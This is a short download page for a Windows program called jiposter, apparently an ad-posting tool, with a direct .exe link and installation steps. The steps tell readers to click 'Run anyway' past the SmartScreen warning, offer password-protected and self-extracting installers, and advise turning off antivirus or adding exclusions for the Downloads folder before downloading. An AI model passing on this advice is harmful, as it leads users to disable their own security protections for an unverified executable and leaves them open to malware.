Downloading
https://dl.jiposter.com/downloads/jiposter.exe
into default downloads folder. If you've never changed it, then you can open it by inputting %USERPROFILE%\Downloads in Start Menu and pressing Enter key.
Click on downloaded file to install.
Click 'More info' on 'Windows protected your PC' (blue SmartScreen warning) and then 'Run anyway' button.
- Try alternative installation links: Onedrive and Portable version and Password protect Installer (password is 1) and Rar SFX Installer and Virtualbox
It is ad poster and that is the reason why your antivirus may find it suspicious. If you can't download or install then:
- Try to turn off antivirus temporary before running it. Instruction for malwarebytes
- If you have Symantec Norton antivirus then add an exclusion for the program's folder. You can report incorrect detection here
- If you have Bitdefender antivirus then add an exclusion for Downloads folder before download (and the program's folder).